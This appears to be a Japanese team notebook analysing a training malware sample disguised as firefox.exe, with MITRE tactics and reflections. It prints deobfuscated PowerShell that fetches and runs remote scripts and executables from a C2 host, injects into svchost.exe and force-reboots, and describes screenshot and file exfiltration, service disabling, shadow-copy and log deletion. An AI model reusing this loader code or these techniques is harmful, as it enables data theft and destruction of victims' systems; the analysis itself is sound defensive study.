# チームB マルウェアの動作 ## firefox.exe - ps2exeが使ってある(strings等の表層解析) - 以下のコマンドで元のPowershellが取れる ``` firefox.exe -extract:"hoge.ps1" ``` - 取り出したPowershellは難読化されているので、解く - before  - 解析アプローチ - 実行箇所(IeX:Invoke-Expression)を分離し、難読化解除箇所をpowershellで実行  - after ``` if(Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe"){ start "C:\Program Files\Mozilla Firefox\firefox.exe"} $script = (New-Object Net.WebClient).DownloadString("http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nvjkdanfih.ps1") Invoke-Expression("&{$script} $args") ``` ## 難読化Powershell - 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nvjkdanfih.ps1 」を取ってくると難読化されているので、解く - before  - after ``` $RandVal = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) $RandVal2 = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) $TempPath = "C:\Users\" + $env:USERNAME + "\AppData\Local\Temp\" $RandPath = $TempPath + $RandVal $RandPath2 = $TempPath + $RandVal2 mkdir -p $RandPath mkdir -p $RandPath2 $httpPath = "http://172.17.20.12:8080/afsjkx/fasiuhsjcn/" $nottorikun = "nottorikun.exe" $inject = "InjectProc.exe" $7zip = "Runtime Broker.exe" $renameFile = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) + ".exe" $renameFile2 = -join ((1..15) | % {Get-Random -input ([char[]]((48..57) + (65..90) + (97..122)))}) + ".exe" $nnw = new-object Net.WebClient; $filePath = $RandPath + "\" + $renameFile; $filePath2 = $RandPath + "\" + $renameFile2; $nnw.DownloadFile($httpPath + $nottorikun,$filePath); $nnw.DownloadFile($httpPath + $inject,$filePath2); $nnw.DownloadFile($httpPath + $7zip,$TempPath + $7zip); Start-Process $filePath2 -ArgumentList "proc_rpl C:\Windows\System32\svchost.exe $filePath" -Verb runas -Wait -WindowStyle Hidden; Remove-Item $RandPath -Recurse Restart-Computer -Force ``` ### 動作 - nottorikun.exe InjectProc.exe Runtime Broker.exeをDL - nottorikun.exeをsvchost.exeにプロセスインジェクション - DL後にディレクトリごと削除 - 最後にWindowsを強制的に再起動 ## マルウェア本体 ### nottorikun.exe - 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/nottorikun.exe 」でダウンロードできる #### 動作 - 解析対策 - プロセスの一覧を取得 - exeの実行ファイル名を取得 - プロセスIDを取得 - Procmon.exeやWireshark.exeが実行されていたらTerminateProcess - スクリーンショットの取得 - カレントスクリーンのビットマップを取得 - C:\Users\testuser\AppData\Roaming\temp\2Cr3En2H0t.bmpに保存される - ファイルの探索・アップロード - C:\Users\{ユーザ名}\Desktop配下からファイル名が「.pdf/.txt/.py/.bmp」などのファイルを探索 - C:\Users\testuser\AppData\Local\Tempフォルダに探索したファイルをコピー&zip圧縮 (Runtime Brokerを利用) - zipに圧縮されたあとTempフォルダの中身はDeleteFileWされる - 圧縮したファイルをアップロード - curl -k POST https:/172.17.20.12:8443/upload.phpを呼び出してzipをC2に送信 - Runtime Broker.exeを起動 - C:\Users\testuser\AppData\Roaming配下にプログラム実行日時(%Y-%m-%d-%H-%M-%S)の名前のzipファイルが作られる - zipファイルのパスワードは「PassWordddd」 - zipにはスクリーンショットやpdfなど様々なファイルが含まれる - zipを作成したあとRuntime Broker.exeは削除される - サービス起動の無効化 - ChangeServiceConfigWで全てのサービスのStartTypeを4(起動しない)に変更 - 再起動時にWindowsが起動しなくなる - C:\Users\testuser\AppData\Roaming\71895610541281051.batを作成 - シャドウコピー(VSSデータ)を削除 - ローカル コンピューターに格納されているバックアップカタログを削除 - windows10のブートに失敗しても気にせずブートを実行するようブート設定変更 - スタートアップ修復の無効化 - イベントログの削除("System" "Security") ### InjectProc.exe - 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/InjectProc.exe 」でダウンロードできる - プロセスインジェクションをやってくれる - nottorikun.exeをsvchost.exeにプロセスインジェクション - ハッシュ  - どこかから盗ってきたやつっぽい - 引用元URL - https://github.com/secrary/InjectProc - https://manalyzer.org/report/7407342cd72aab4a293cfa8248c393f1 ### Runtime Broker.exe - 「 http://172.17.20.12:8080/afsjkx/fasiuhsjcn/Runtime Broker.exe」でダウンロードできる - zip圧縮を行う実行ファイル - https://github.com/kornelski/7z - 7-Zip (a) 19.00 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21 ## その他 - http://172.17.20.12:8080/phpinfo.php # Tactics/Technologies | Tactics | Technologies | | --------------------- | -------- | | Initial Access | Trusted Relationship | | Execution | User Execution / PowerShell | | Persistence | | | Privilege Escalation | | | Defense Evasion | Software Packing / Process Injection / Process Discovery / Hidden Window / File Deletion | | Credential Access | | | Discovery | Data from Local System | | Lateral Movement | | | Collection | Screen Capture | | Command and Control | Remote file copy | | Exfiltration | | | Impact | | # 解析してみた感想 - exeファイルの解析を始める際に、大枠をつかむ前にIDA Proでの解析を行ったので大変だった。 - 動的解析や表層解析を行い、大まかな内容を確認してから静的解析にうつるとスムーズになる? - firefox.exeをstringsコマンドで見てみるとps2exeが使われていることが分かる - ツールが使われている際に、それが何かを突き止めるググり力が大切だと感じた - ハッシュや特徴的なAPI・名前を調べると流用元のファイルやコードが見つかるので解析でもOSINTは大事 - 読み解くのは大変だが、地道にコツコツ頑張れば答えにたどり着ける # 以下テンプレ (書き換えないで) # Tactics/Technologies | Tactics | Technologies | | --------------------- | -------- | | Initial Access | ふんじゃった | | Execution | Text | | Persistence | Text | | Privilege Escalation | Text | | Defense Evasion | Text | | Credential Access | Text | | Discovery | Text | | Lateral Movement | Text | | Collection | Text | | Command and Control | Text | | Exfiltration | Text | | Impact | Text |
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up